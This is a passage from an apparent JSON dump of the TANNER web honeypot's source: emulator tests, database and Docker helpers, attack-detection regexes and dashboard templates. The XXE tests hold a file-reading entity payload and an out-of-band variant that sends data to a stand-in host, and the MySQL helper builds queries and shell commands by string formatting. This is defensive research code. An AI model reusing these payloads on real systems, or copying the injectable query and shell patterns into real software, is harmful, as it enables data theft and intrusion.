lfi:2\" \"
rfi:1
sqli:0
xss:1
\\n
\\n '\n ''\n )\n\n self.assertIn(self.expected_content, self.returned_content)\n\n @unittest_run_loop\n async def test_handle_sessions_error(self):\n\n with self.assertLogs(level=\"ERROR\") as log:\n response = await self.client.request(\n \"GET\",\n \"/8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4/sessions/page/1?filters=start_time:1497890400,peer_ip:127.0.0.1\",\n ) # noqa\n\n self.assertIn(\"Filter error :\", log.output[0])\n\n @unittest_run_loop\n async def test_sessions_info(self):\n session = dict(\n cookies={\"sess_uuid\": \"9f82e5d0e6b64047bba996222d45e72c\"},\n possible_owners={\"user\": 1.0},\n attack_count={\"lfi\": 1},\n )\n\n self.handler.api.return_session_info = AsyncMock(return_value=session)\n\n self.expected_content = (\n \"Cookies \\n \\n \\n \"\n \"sess_uuid : 9f82e5d0e6b64047bba996222d45e72c
\\n \\n \\n \\n \"\n \"\\n Referer \\n \\n \\n \"\n \"Possible Owners \\n \\n \\n \"\n 'user : 1.0
\\n'\n )\n\n response = await self.client.request(\"GET\", \"/session/da1811cd19d748058bc02ee5bf9029d4\")\n self.returned_content = await response.text()\n\n self.assertIn(self.expected_content, self.returned_content)\n" }, { "path": "tanner/tests/test_xss_emulator.py", "content": "import asyncio\nimport unittest\n\nfrom tanner.emulators import xss\nfrom tanner.utils import patterns\n\n\nclass TestXSSEmulator(unittest.TestCase):\n def setUp(self):\n self.loop = asyncio.new_event_loop()\n asyncio.set_event_loop(None)\n self.handler = xss.XssEmulator()\n\n def test_scan(self):\n attack = \"\"\n assert_result = dict(name=\"xss\", order=3)\n result = self.handler.scan(attack)\n self.assertEqual(result, assert_result)\n\n def test_scan_negative(self):\n attack = \"alert(1);\"\n assert_result = None\n result = self.handler.scan(attack)\n self.assertEqual(result, assert_result)\n\n def test_xxs_mako_regex(self):\n # Mako payloads can be matched with XSS but not vice versa\n test_mako = \"<% x=7*7 %>${x}\" # basic mako injection payload\n verify_mako = patterns.TEMPLATE_INJECTION_MAKO.match(test_mako)\n assert_result = dict(name=\"xss\", order=3)\n result = self.handler.scan(test_mako)\n self.assertEqual(result, assert_result)\n self.assertTrue(verify_mako)\n\n def test_multiple_xss(self):\n attack_params = [\n dict(id=\"comment\", value=\"\"),\n dict(id=\"name\", value=\"\"),\n dict(id=\"email\", value=\"\"),\n ]\n xss = self.loop.run_until_complete(self.handler.handle(attack_params, None))\n assert_result = \"\"\n self.assertIn(assert_result, xss[\"value\"])\n\n def test_xss(self):\n attack_params = [dict(id=\"foo\", value=\"\")]\n xss = self.loop.run_until_complete(self.handler.handle(attack_params, None))\n\n assert_result = dict(value=attack_params[0][\"value\"], page=True)\n self.assertDictEqual(xss, assert_result)\n" }, { "path": "tanner/tests/test_xxe_injection.py", "content": "import asyncio\nimport unittest\n\nfrom unittest import mock\nfrom tanner import config\nfrom tanner.utils.asyncmock import AsyncMock\nfrom tanner.emulators.xxe_injection import XXEInjection\n\n\nclass TestXXEInjection(unittest.TestCase):\n def setUp(self):\n self.loop = asyncio.new_event_loop()\n asyncio.set_event_loop(None)\n self.handler = XXEInjection(loop=self.loop)\n self.result = None\n self.expected_result = None\n self.returned_result = None\n\n def test_scan(self):\n payload = '' \"\"\n\n self.expected_result = dict(name=\"xxe_injection\", order=3)\n self.returned_result = self.handler.scan(payload)\n self.assertEqual(self.returned_result, self.expected_result)\n\n def test_scan_negative(self):\n payload = ']>'\n\n self.expected_result = None\n self.returned_result = self.handler.scan(payload)\n self.assertEqual(self.returned_result, self.expected_result)\n\n def test_handle_status_code(self):\n self.handler.get_injection_result = AsyncMock(return_value=None)\n\n attack_params = [dict(id=\"foo\", value=']>')]\n self.expected_result = dict(status_code=504)\n\n async def test():\n self.returned_result = await self.handler.handle(attack_params)\n\n self.loop.run_until_complete(test())\n self.assertEqual(self.returned_result, self.expected_result)\n\n def test_handle(self):\n config.TannerConfig.get = mock.MagicMock(return_value=False)\n\n code = (\n ''\n \"\"\n ']>'\n \"&xxe;\"\n )\n\n attack_params = [dict(id=\"foo\", value=code)]\n self.handler.helper.get_result = AsyncMock(\n return_value={\n \"file_md5\": \"a43deb0f2d7904cbb6c27c02ed7c2593\",\n \"stdout\": \"root:x:0:0:root:/root:/bin/bash\\n\\n\" \"daemon:x:1:1:daemon:/usr/sbin\",\n }\n )\n\n self.expected_result = \"root:x:0:0:root:/root:/bin/bash\"\n\n async def test():\n self.returned_result = await self.handler.handle(attack_params)\n\n self.loop.run_until_complete(test())\n self.assertIn(self.expected_result, self.returned_result[\"value\"])\n\n def test_handle_oob(self):\n config.TannerConfig.get = mock.MagicMock(return_value=True)\n\n code = (\n ''\n \"\"\n ''\n \"\"\n '\"http://192.168.1.1:8080/?p=%xxe;\">\\'> '\n )\n\n attack_params = [dict(id=\"OOB\", value=code)]\n self.handler.helper.get_result = AsyncMock(\n return_value={\n \"file_md5\": \"a43deb0f2d7904cbb6c27c02ed7c2593\",\n \"stdout\": \"root:x:0:0:root:/root:/bin/bash\\n\\n\" \"daemon:x:1:1:daemon:/usr/sbin\",\n }\n )\n\n self.expected_result = \"\"\n\n async def test():\n self.returned_result = await self.handler.handle(attack_params)\n\n self.loop.run_until_complete(test())\n self.assertEqual(self.returned_result[\"value\"], self.expected_result)\n" }, { "path": "tanner/utils/__init__.py", "content": "" }, { "path": "tanner/utils/aiodocker_helper.py", "content": "import aiodocker\nimport logging\n\nfrom tanner.config import TannerConfig\n\n\nclass AIODockerHelper:\n def __init__(self):\n\n self.logger = logging.getLogger(\"tanner.aiodocker_helper.AIODockerHelper\")\n\n self.docker_client = aiodocker.Docker()\n self.host_image = TannerConfig.get(\"DOCKER\", \"host_image\")\n\n async def setup_host_image(self, remote_path=None, tag=None):\n \"\"\"\n Helper to pull host image or build an image with remote Dockerfile\n :param remote_path (str): remote path of Dockerfile\n :param tag (str): tag to be given to new image build ex: 'myimage:latest'\n \"\"\"\n\n try:\n if remote_path and tag is not None:\n params = {\"tag\": tag, \"remote\": remote_path}\n await self.docker_client.images.build(**params)\n\n else:\n image = await self.docker_client.images.list(filter=self.host_image)\n if not image:\n await self.docker_client.images.pull(self.host_image)\n\n except aiodocker.exceptions.DockerError as docker_error:\n self.logger.exception(\"Error while pulling %s image %s\", self.host_image, docker_error)\n\n async def get_container(self, container_name):\n \"\"\"\n Gets the container object having specified name\n :param container_name (str): name of the target container\n :return: container (object)\n \"\"\"\n container = None\n try:\n container = await self.docker_client.containers.get(container=container_name)\n\n except aiodocker.exceptions.DockerError as server_error:\n self.logger.exception(\"Error while fetching %s container %s\", container_name, server_error)\n return container\n\n async def create_container(self, container_name, cmd=None, image=None):\n \"\"\"\n Helper to create or replace a container (initially pulls the given image)\n :param container_name (str): name to be given to new container or replace existing if any\n :param cmd (list): contains commands to run in the container. ex: [\"sh\", \"-c\", \"echo 'Hello'\"]\n :param image (str): name of image to be used\n :return: container (object): newly created container object\n \"\"\"\n await self.setup_host_image()\n container = None\n if image is None:\n image = self.host_image\n\n config = {\"Cmd\": cmd, \"Image\": image}\n try:\n container = await self.docker_client.containers.create_or_replace(config=config, name=container_name)\n\n except (aiodocker.exceptions.DockerError or aiodocker.exceptions.DockerContainerError) as docker_error:\n self.logger.exception(\"Error while creating a container %s\", docker_error)\n return container\n\n async def execute_cmd(self, cmd, image=None):\n \"\"\"\n Creates a new container, runs the cmd in it and deletes the used container\n :param cmd (list): contains commands to run in the container. ex: [\"sh\", \"-c\", \"echo 'Hello'\"]\n :param image (str): name of image to be used\n :return: execute_result (str): execution output/errors of cmd from the container\n \"\"\"\n execute_result = None\n try:\n if image is None:\n image = self.host_image\n\n config = {\"Cmd\": cmd, \"Image\": image}\n container = await self.docker_client.containers.run(config=config)\n\n await container.wait()\n result_exists = await container.log(stdout=True, stderr=True)\n if result_exists:\n execute_result = \"\".join(result_exists)\n\n # Deleting the used container\n await container.delete(force=True)\n\n except (aiodocker.exceptions.DockerError or aiodocker.exceptions.DockerContainerError) as server_error:\n self.logger.error(\"Error while executing command %s in container %s\", cmd, server_error)\n return execute_result\n\n async def delete_container(self, container_name):\n \"\"\"\n Delete an existing container\n :param container_name (str): name of container to be deleted\n \"\"\"\n container = await self.get_container(container_name)\n try:\n if container:\n await container.delete(force=True)\n except aiodocker.exceptions.DockerError as server_error:\n self.logger.exception(\"Error while removing %s container %s\", container_name, server_error)\n" }, { "path": "tanner/utils/api_key_generator.py", "content": "import jwt\nfrom tanner.config import TannerConfig\n\n\ndef generate():\n key = TannerConfig.get(\"API\", \"auth_signature\")\n encoded = jwt.encode({\"user\": \"tanner_owner\"}, key, algorithm=\"HS256\")\n return encoded.decode(\"utf-8\")\n" }, { "path": "tanner/utils/asyncmock.py", "content": "from unittest.mock import Mock\n\n\nclass AsyncMock(Mock): # custom function defined to mock asyncio coroutines\n def __call__(self, *args, **kwargs):\n sup = super(AsyncMock, self)\n\n async def coro():\n return sup.__call__(*args, **kwargs)\n\n return coro()\n\n def __await__(self):\n return self().__await__()\n" }, { "path": "tanner/utils/base_db_helper.py", "content": "import json\nimport logging\nimport random\n\nimport mimesis\n\nfrom tanner.config import TannerConfig\n\n\nclass BaseDBHelper:\n def __init__(self):\n self.logger = logging.getLogger(\"tanner.base_db_helper.BaseDBHelper\")\n\n def read_config(self):\n with open(TannerConfig.get(\"DATA\", \"db_config\")) as db_config:\n try:\n config = json.load(db_config)\n except json.JSONDecodeError as json_error:\n self.logger.info(\"Failed to load json: %s\", json_error)\n else:\n return config\n\n @staticmethod\n def generate_dummy_data(data_tokens):\n \"\"\"\n Insert dummy data based on data tokens\n I - integer id\n L - login/username\n E - email\n P - password\n T - piece of text\n :return:\n \"\"\"\n\n token_list = data_tokens.split(\",\")\n\n samples_count = random.randint(100, 1000)\n inserted_data = []\n for i in range(samples_count):\n values = []\n person = mimesis.Person(\"en\")\n for token in token_list:\n person = mimesis.Person()\n if token == \"I\":\n values.append(i)\n if token == \"L\":\n data = person.username()\n values.append(data)\n if token == \"E\":\n data = person.email()\n values.append(data)\n if token == \"P\":\n data = person.password()\n values.append(data)\n if token == \"T\":\n sample_length = random.randint(1, 10)\n data = mimesis.Text().text(quantity=sample_length)\n values.append(data)\n inserted_data.append(tuple(values))\n\n return inserted_data, token_list\n" }, { "path": "tanner/utils/logger.py", "content": "import logging\nimport logging.handlers\n\nfrom tanner.config import TannerConfig\n\n\nclass LevelFilter(logging.Filter):\n \"\"\"Filters (lets through) all messages with level < LEVEL\"\"\"\n\n def __init__(self, level):\n self.level = level\n\n def filter(self, record):\n # \"<\" instead of \"<=\": since logger.setLevel is inclusive, this should be exclusive\n return record.levelno < self.level\n\n\nclass Logger:\n @staticmethod\n def create_logger(debug_filename, err_filename, logger_name):\n if TannerConfig.get(\"CLEANLOG\", \"enabled\") == \"True\":\n with open(err_filename, \"w\"):\n pass\n\n logger = logging.getLogger(logger_name)\n logger.setLevel(logging.DEBUG)\n logger.propagate = False\n formatter = logging.Formatter(\n fmt=\"%(asctime)s %(levelname)s:%(name)s:%(funcName)s: %(message)s\", datefmt=\"%Y-%m-%d %H:%M:%S\"\n )\n\n # ERROR log to 'tanner.err'\n error_log_handler = logging.handlers.RotatingFileHandler(err_filename, encoding=\"utf-8\")\n error_log_handler.setLevel(logging.ERROR)\n error_log_handler.setFormatter(formatter)\n logger.addHandler(error_log_handler)\n\n # DEBUG log to 'tanner.log'\n debug_log_handler = logging.handlers.RotatingFileHandler(debug_filename, encoding=\"utf-8\")\n debug_log_handler.setLevel(logging.DEBUG)\n debug_log_handler.setFormatter(formatter)\n max_level_filter = LevelFilter(logging.ERROR)\n debug_log_handler.addFilter(max_level_filter)\n logger.addHandler(debug_log_handler)\n\n return logger\n" }, { "path": "tanner/utils/mysql_db_helper.py", "content": "import logging\nimport subprocess\nimport aiomysql\n\nfrom tanner.config import TannerConfig\nfrom tanner.utils.base_db_helper import BaseDBHelper\n\n\nclass MySQLDBHelper(BaseDBHelper):\n\n # Helper Utility of basic functions for mysqli emulator\n\n def __init__(self):\n super(MySQLDBHelper, self).__init__()\n self.logger = logging.getLogger(\"tanner.db_helper.MySQLDBHelper\")\n\n async def connect_to_db(self):\n \"\"\"\n Creates a aiomysql connection\n :return: connection object\n \"\"\"\n\n conn = await aiomysql.connect(\n host=TannerConfig.get(\"SQLI\", \"host\"),\n user=TannerConfig.get(\"SQLI\", \"user\"),\n password=TannerConfig.get(\"SQLI\", \"password\"),\n )\n return conn\n\n async def check_db_exists(self, db_name):\n \"\"\"\n Checks if DB exists or not\n :param db_name (str): mysql db name\n :return: result (int): 0 if no such database exists else 1\n \"\"\"\n\n conn = await self.connect_to_db()\n cursor = await conn.cursor()\n check_DB_exists_query = \"SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA \"\n check_DB_exists_query += \"WHERE SCHEMA_NAME='{db_name}'\".format(db_name=db_name)\n await cursor.execute(check_DB_exists_query)\n result = await cursor.fetchall()\n return len(result)\n\n async def setup_db_from_config(self, name=None):\n \"\"\"\n Helper function to setup DB from db_config.json and inserts dummy data in the created DB.\n :param name (str): database name\n \"\"\"\n\n config = self.read_config()\n if name is not None:\n db_name = name\n else:\n db_name = config[\"name\"]\n\n conn = await self.connect_to_db()\n cursor = await conn.cursor()\n create_db_query = \"CREATE DATABASE {db_name}\"\n await cursor.execute(create_db_query.format(db_name=db_name))\n await cursor.execute(\"USE {db_name}\".format(db_name=db_name))\n\n for table in config[\"tables\"]:\n query = table[\"schema\"]\n await cursor.execute(query)\n await self.insert_dummy_data(table[\"table_name\"], table[\"data_tokens\"], cursor)\n await conn.commit()\n\n conn.close()\n\n async def delete_db(self, db):\n \"\"\"\n Deletes the database\n :param db (str): db name to be deleted\n \"\"\"\n\n conn = await self.connect_to_db()\n cursor = await conn.cursor()\n delete_db_query = \"DROP DATABASE {db_name}\"\n await cursor.execute(delete_db_query.format(db_name=db))\n await conn.commit()\n conn.close()\n\n async def copy_db(self, user_db, attacker_db):\n \"\"\"\n Copies the user database to new attacker database\n :param user_db (str): existing user db\n :param attacker_db (str): new db to be created\n :return: new created db (str)\n \"\"\"\n\n db_exists = await self.check_db_exists(attacker_db)\n if db_exists:\n self.logger.info(\"Attacker db already exists\")\n else:\n # create new attacker db\n conn = await self.connect_to_db()\n cursor = await conn.cursor()\n await cursor.execute(\"CREATE DATABASE {db_name}\".format(db_name=attacker_db))\n conn.close()\n # copy user db to attacker db\n dump_db_cmd = \"mysqldump -h {host} -u {user} -p{password} {db_name}\"\n restore_db_cmd = \"mysql -h {host} -u {user} -p{password} {db_name}\"\n dump_db_cmd = dump_db_cmd.format(\n host=TannerConfig.get(\"SQLI\", \"host\"),\n user=TannerConfig.get(\"SQLI\", \"user\"),\n password=TannerConfig.get(\"SQLI\", \"password\"),\n db_name=user_db,\n )\n restore_db_cmd = restore_db_cmd.format(\n host=TannerConfig.get(\"SQLI\", \"host\"),\n user=TannerConfig.get(\"SQLI\", \"user\"),\n password=TannerConfig.get(\"SQLI\", \"password\"),\n db_name=attacker_db,\n )\n try:\n dump_db_process = subprocess.Popen(dump_db_cmd, stdout=subprocess.PIPE, shell=True)\n restore_db_process = subprocess.Popen(restore_db_cmd, stdin=dump_db_process.stdout, shell=True)\n dump_db_process.stdout.close()\n dump_db_process.wait()\n restore_db_process.wait()\n except subprocess.CalledProcessError as e:\n self.logger.exception(\"Error during copying sql database : %s\" % e)\n return attacker_db\n\n async def insert_dummy_data(self, table_name, data_tokens, cursor):\n \"\"\"\n Inserts dummy data in the table based on input data tokens for ex: 'I,L'\n :param table_name (str): table in which data to be inserted\n :param data_tokens (str): input data format tokens\n :param cursor (object): current db cursor\n \"\"\"\n\n inserted_data, token_list = self.generate_dummy_data(data_tokens)\n\n inserted_string_patt = \"%s\"\n if len(token_list) > 1:\n inserted_string_patt += \",\"\n inserted_string_patt *= len(token_list)\n inserted_string_patt = inserted_string_patt[:-1]\n\n await cursor.executemany(\"INSERT INTO \" + table_name + \" VALUES(\" + inserted_string_patt + \")\", inserted_data)\n\n async def create_query_map(self, db_name):\n \"\"\"\n Returns a query map of the tables and its columns present in the database\n :param db_name (str): current database\n :return: query_map (dict): Created Query Map\n \"\"\"\n\n query_map = {}\n tables = []\n conn = await self.connect_to_db()\n cursor = await conn.cursor()\n\n select_tables = \"SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema= '{db_name}'\"\n\n try:\n await cursor.execute(select_tables.format(db_name=db_name))\n result = await cursor.fetchall()\n for row in result:\n tables.append(row[0])\n except Exception as e:\n self.logger.exception(\"Error during query map creation\")\n else:\n query_map = dict.fromkeys(tables)\n for table in tables:\n query = \"SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE \\\n table_name= '{table_name}' AND table_schema= '{db_name}'\"\n\n columns = []\n try:\n await cursor.execute(query.format(table_name=table, db_name=db_name))\n result = await cursor.fetchall()\n for row in result:\n if row[7] == \"int\":\n columns.append(dict(name=row[3], type=\"INTEGER\"))\n else:\n columns.append(dict(name=row[3], type=\"TEXT\"))\n query_map[table] = columns\n except Exception:\n self.logger.exception(\"Error during query map creation\")\n return query_map\n" }, { "path": "tanner/utils/patterns.py", "content": "import re\n\nINDEX = re.compile(r\"(/index.html|/)\")\nRFI_ATTACK = re.compile(r\".*((http(s){0,1}|ftp(s){0,1}):).*\", re.IGNORECASE)\nLFI_ATTACK = re.compile(r\".*(/\\.\\.)*(home|proc|usr|etc)/.*\")\nLFI_FILEPATH = re.compile(r\"((\\.\\.|/).*)\")\nCMD_ATTACK = re.compile(\n r\".*[^A-z:./]\"\n r\"(alias|cat|cd|cp|echo|exec|find|for|grep|ifconfig|ls|man|mkdir|netstat|ping|ps|pwd|uname|wget|touch|while)\"\n r\"([^A-z:./]|\\b)\"\n)\nPHP_CODE_INJECTION = re.compile(r\".*(;)*(echo|system|print|phpinfo)(\\(.*\\)).*\")\nPHP_OBJECT_INJECTION = re.compile(r\"(^|;|{|})O:[0-9]+:\")\nCRLF_ATTACK = re.compile(r\".*(\\r\\n).*\")\nXXE_INJECTION = re.compile(r\".*<(\\?xml|(!DOCTYPE.*)).*>\")\nTEMPLATE_INJECTION_MAKO = re.compile(r\".*(<%.*|\\s%>).*\")\nTEMPLATE_INJECTION_TORNADO = re.compile(r\".*({{.*}}).*\")\nXSS_ATTACK = re.compile(r\".*<(.|\\n)*?>\")\nREMOTE_FILE_URL = re.compile(r\"(.*(http(s){0,1}|ftp(s){0,1}):.*)\")\nWORD_PRESS_CONTENT = re.compile(r\"/wp-content/.*\")\nHTML_TAGS = re.compile(r\".*<(.*)>.*\")\nQUERY = re.compile(r\".*\\?.*=\")\n" }, { "path": "tanner/utils/php_sandbox_helper.py", "content": "import logging\nimport asyncio\nimport aiohttp\nfrom tanner import config\n\n\nclass PHPSandboxHelper:\n def __init__(self, loop):\n self.logger = logging.getLogger(\"tanner.php_sandbox_helper.PHPSandboxHelper\")\n self._loop = loop if loop is not None else asyncio.get_event_loop()\n\n async def get_result(self, code):\n \"\"\"\n Helper utility to get injection results from PHPOX\n :param code: Payload from the attacker to be injected in vulnerable code\n :return: Dict object containing file_md5 and stdout - contains injection results\n \"\"\"\n result = None\n\n phpox_address = \"http://{host}:{port}\".format(\n host=config.TannerConfig.get(\"PHPOX\", \"host\"), port=config.TannerConfig.get(\"PHPOX\", \"port\")\n )\n\n try:\n async with aiohttp.ClientSession(loop=self._loop) as session:\n async with session.post(phpox_address, data=code) as resp:\n result = await resp.json()\n except aiohttp.ClientError as client_error:\n self.logger.error(\"Error during connection to php sandbox %s\", client_error)\n finally:\n await session.close()\n return result\n" }, { "path": "tanner/utils/sqlite_db_helper.py", "content": "import logging\nimport os\nimport shutil\nimport sqlite3\n\nfrom tanner.utils.base_db_helper import BaseDBHelper\n\n\nclass SQLITEDBHelper(BaseDBHelper):\n def __init__(self):\n super(SQLITEDBHelper, self).__init__()\n self.logger = logging.getLogger(\"tanner.sqlite_db_helper.SQLITEDBHelper\")\n\n async def setup_db_from_config(self, working_dir, name=None):\n \"\"\"\n Creates database using config (dict object containing name and tables as keys)\n :param working_dir: Current working directory\n :param name: Name of database to be created\n \"\"\"\n config = self.read_config()\n if name is not None:\n db_name = os.path.join(working_dir, name)\n else:\n db_name = os.path.join(working_dir, config[\"name\"])\n\n conn = sqlite3.connect(db_name)\n cursor = conn.cursor()\n for table in config[\"tables\"]:\n query = table[\"schema\"]\n cursor.execute(query)\n await self.insert_dummy_data(table[\"table_name\"], table[\"data_tokens\"], cursor)\n conn.commit()\n\n conn.close()\n\n @staticmethod\n def get_abs_path(path, working_dir):\n \"\"\"\n Returns the full path with working directory\n :param path (str): Current path\n :param working_dir (str): Current working directory\n :return: str of full path\n \"\"\"\n if not os.path.isabs(path):\n path = os.path.normpath(os.path.join(working_dir, path))\n return path\n\n @staticmethod\n def delete_db(db):\n if db is not None and os.path.exists(db):\n os.remove(db)\n\n def copy_db(self, src, dst, working_dir):\n src = self.get_abs_path(src, working_dir)\n dst = self.get_abs_path(dst, working_dir)\n if os.path.exists(dst):\n self.logger.info(\"Attacker db already exists\")\n else:\n shutil.copy(src, dst)\n return dst\n\n async def insert_dummy_data(self, table_name, data_tokens, cursor):\n \"\"\"\n Inserts Dummy data in the current sqlite database\n :param table_name (str): Table to inject dummy data\n :param data_tokens (str): Tokens to generate dummy data, eg: 'I,L' to get integer ID and username data\n :param cursor (object): Cursor attached with current DB\n \"\"\"\n inserted_data, token_list = self.generate_dummy_data(data_tokens)\n\n inserted_string_patt = \"?\"\n if len(token_list) > 1:\n inserted_string_patt += \",\"\n inserted_string_patt *= len(token_list)\n inserted_string_patt = inserted_string_patt[:-1]\n\n cursor.executemany(\"INSERT INTO \" + table_name + \" VALUES(\" + inserted_string_patt + \")\", inserted_data)\n\n def create_query_map(\n self,\n working_dir,\n db_name,\n ):\n \"\"\"\n Returns a query map from all the present tables and its columns\n :param working_dir (str): Current working directory\n :param db_name (str): Current sqlite database\n :return: Dict object with tables names as keys and list of columns as its values\n \"\"\"\n query_map = {}\n tables = []\n\n db = os.path.join(working_dir, db_name)\n conn = sqlite3.connect(db)\n cursor = conn.cursor()\n\n select_tables = \"SELECT name FROM sqlite_master WHERE type='table'\"\n\n try:\n for row in cursor.execute(select_tables):\n tables.append(row[0])\n except sqlite3.OperationalError as sqlite_error:\n self.logger.exception(\"Error during query map creation: %s\", sqlite_error)\n else:\n query_map = dict.fromkeys(tables)\n for table in tables:\n query = \"PRAGMA table_info(\" + table + \")\"\n columns = []\n try:\n for row in cursor.execute(query):\n columns.append(dict(name=row[1], type=row[2]))\n query_map[table] = columns\n except sqlite3.OperationalError as sqlite_error:\n self.logger.exception(\"Error during query map creation: %s\", sqlite_error)\n return query_map\n" }, { "path": "tanner/web/__init__.py", "content": "" }, { "path": "tanner/web/server.py", "content": "import asyncio\nimport logging\nimport aiohttp_jinja2\nimport jinja2\n\nfrom aiohttp import web\nfrom tanner.api import api\nfrom tanner import redis_client\nfrom tanner.config import TannerConfig\nfrom tanner import __version__ as tanner_version\n\n\nclass TannerWebServer:\n def __init__(self):\n self.logger = logging.getLogger(\"tanner.web.tannerwebserver\")\n self.api = None\n self.redis_client = None\n\n @aiohttp_jinja2.template(\"index.html\")\n async def handle_index(self, request):\n snares = await self.api.return_snares()\n latest_session = await self.api.return_latest_session()\n count = len(snares)\n return {\"count\": count, \"l_session\": latest_session, \"version\": tanner_version}\n\n @aiohttp_jinja2.template(\"snares.html\")\n async def handle_snares(self, request):\n snares = await self.api.return_snares()\n return {\"snares\": snares}\n\n @aiohttp_jinja2.template(\"snare.html\")\n async def handle_snare(self, request):\n snare_uuid = request.match_info[\"snare_uuid\"]\n return {\"snare\": snare_uuid}\n\n @aiohttp_jinja2.template(\"snare-stats.html\")\n async def handle_snare_stats(self, request):\n snare_uuid = request.match_info[\"snare_uuid\"]\n snare_stats = await self.api.return_snare_stats(snare_uuid)\n return {\"snare_stats\": snare_stats}\n\n @aiohttp_jinja2.template(\"sessions.html\")\n async def handle_sessions(self, request):\n snare_uuid = request.match_info[\"snare_uuid\"]\n page_id = int(request.match_info[\"page_id\"])\n params = request.url.query\n applied_filters = {\"snare_uuid\": snare_uuid}\n try:\n if \"filters\" in params:\n for filt in params[\"filters\"].split():\n applied_filters[filt.split(\":\")[0]] = filt.split(\":\")[1]\n if \"start_time\" in applied_filters:\n applied_filters[\"start_time\"] = float(applied_filters[\"start_time\"])\n if \"end_time\" in applied_filters:\n applied_filters[\"end_time\"] = float(applied_filters[\"end_time\"])\n except Exception as e:\n self.logger.exception(\"Filter error : %s\" % e)\n result = \"Invalid filter definition\"\n else:\n sessions = await self.api.return_sessions(applied_filters)\n result = sessions[15 * (page_id - 1) : 15 * page_id]\n next_val = None\n pre_val = None\n if page_id * 15 <= len(sessions):\n next_val = \"/{snare_uuid}/sessions/page/{page_id}\".format(\n snare_uuid=snare_uuid, page_id=str(page_id + 1)\n )\n if len(applied_filters) > 1:\n next_val += \"?filters={filters}\".format(filters=params[\"filters\"])\n if page_id > 1:\n pre_val = \"/{snare_uuid}/sessions/page/{page_id}\".format(\n snare_uuid=snare_uuid, page_id=str(page_id - 1)\n )\n if len(applied_filters) > 1:\n pre_val += \"?filters={filters}\".format(filters=params[\"filters\"])\n\n return {\"sessions\": result, \"next_val\": next_val, \"pre_val\": pre_val}\n\n @aiohttp_jinja2.template(\"session.html\")\n async def handle_session_info(self, request):\n sess_uuid = request.match_info[\"sess_uuid\"]\n session = await self.api.return_session_info(sess_uuid)\n return {\"session\": session}\n\n async def on_shutdown(self, app):\n await self.redis_client.close()\n\n def setup_routes(self, app):\n app.router.add_get(\"/\", self.handle_index)\n app.router.add_get(\"/snares\", self.handle_snares)\n app.router.add_resource(\"/snare/{snare_uuid}\").add_route(\"GET\", self.handle_snare)\n app.router.add_resource(\"/snare-stats/{snare_uuid}\").add_route(\"GET\", self.handle_snare_stats)\n app.router.add_resource(\"/session/{sess_uuid}\").add_route(\"GET\", self.handle_session_info)\n app.router.add_resource(\"/{snare_uuid}/sessions/page/{page_id}\").add_route(\"GET\", self.handle_sessions)\n app.router.add_static(\"/static/\", path=\"tanner/web/static\")\n\n async def make_app(self):\n app = web.Application()\n aiohttp_jinja2.setup(app, loader=jinja2.FileSystemLoader(\"tanner/web/templates\"))\n app.on_shutdown.append(self.on_shutdown)\n self.setup_routes(app)\n return app\n\n def start(self):\n loop = asyncio.get_event_loop()\n self.redis_client = loop.run_until_complete(redis_client.RedisClient.get_redis_client(poolsize=20))\n self.api = api.Api(self.redis_client)\n\n host = TannerConfig.get(\"WEB\", \"host\")\n port = int(TannerConfig.get(\"WEB\", \"port\"))\n web.run_app(self.make_app(), host=host, port=port)\n" }, { "path": "tanner/web/static/css/styles.css", "content": "table {\n border-collapse: collapse;\n width: 80%;\n}\n\nth, td {\n padding: 8px;\n text-align: left;\n border-bottom: 1px solid #ddd;\n}\n\ntr:hover{\n\tbackground-color:#f5f5f5\n}" }, { "path": "tanner/web/static/js/site.js", "content": "function findGetParameter(parameterName) {\n var result = null,\n tmp = [];\n location.search\n .substr(1)\n .split(\"&\")\n .forEach(function (item) {\n tmp = item.split(\"=\");\n if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]);\n });\n return result;\n}\ndocument.getElementById('filters').value = findGetParameter(\"filters\");" }, { "path": "tanner/web/templates/base.html", "content": "\n\n\n\t\n\t{% block title %}{% endblock %} - Tanner Web \n\t\n\n\n![](\"/static/logo/mushorg_logo.png\")
\n\t\t\t\n
\n{% endblock %}"
},
{
"path": "tanner/web/templates/sessions.html",
"content": "{% extends \"base.html\" %}\n{% block title %}Snare Sessions{% endblock %}\n{% block content %}\n\n
\n
\n\n\n{% endblock %}" }, { "path": "tanner/web/templates/snare-stats.html", "content": "{% extends \"base.html\" %}\n{% block title %}SNARE-STATS{% endblock %}\n{% block content %}\n\n
\n{% endblock %}\n"
},
{
"path": "tanner/web/templates/snare.html",
"content": "{% extends \"base.html\" %}\n{% block title %}Snare({{snare}}){% endblock %}\n{% block content %}\n\n
\n{% endblock %}"
}
]
\\n \\n
\\n'\n )\n\n response = await self.client.request(\"GET\", \"/session/da1811cd19d748058bc02ee5bf9029d4\")\n self.returned_content = await response.text()\n\n self.assertIn(self.expected_content, self.returned_content)\n" }, { "path": "tanner/tests/test_xss_emulator.py", "content": "import asyncio\nimport unittest\n\nfrom tanner.emulators import xss\nfrom tanner.utils import patterns\n\n\nclass TestXSSEmulator(unittest.TestCase):\n def setUp(self):\n self.loop = asyncio.new_event_loop()\n asyncio.set_event_loop(None)\n self.handler = xss.XssEmulator()\n\n def test_scan(self):\n attack = \"\"\n assert_result = dict(name=\"xss\", order=3)\n result = self.handler.scan(attack)\n self.assertEqual(result, assert_result)\n\n def test_scan_negative(self):\n attack = \"alert(1);\"\n assert_result = None\n result = self.handler.scan(attack)\n self.assertEqual(result, assert_result)\n\n def test_xxs_mako_regex(self):\n # Mako payloads can be matched with XSS but not vice versa\n test_mako = \"<% x=7*7 %>${x}\" # basic mako injection payload\n verify_mako = patterns.TEMPLATE_INJECTION_MAKO.match(test_mako)\n assert_result = dict(name=\"xss\", order=3)\n result = self.handler.scan(test_mako)\n self.assertEqual(result, assert_result)\n self.assertTrue(verify_mako)\n\n def test_multiple_xss(self):\n attack_params = [\n dict(id=\"comment\", value=\"\"),\n dict(id=\"name\", value=\"\"),\n dict(id=\"email\", value=\"\"),\n ]\n xss = self.loop.run_until_complete(self.handler.handle(attack_params, None))\n assert_result = \"\"\n self.assertIn(assert_result, xss[\"value\"])\n\n def test_xss(self):\n attack_params = [dict(id=\"foo\", value=\"\")]\n xss = self.loop.run_until_complete(self.handler.handle(attack_params, None))\n\n assert_result = 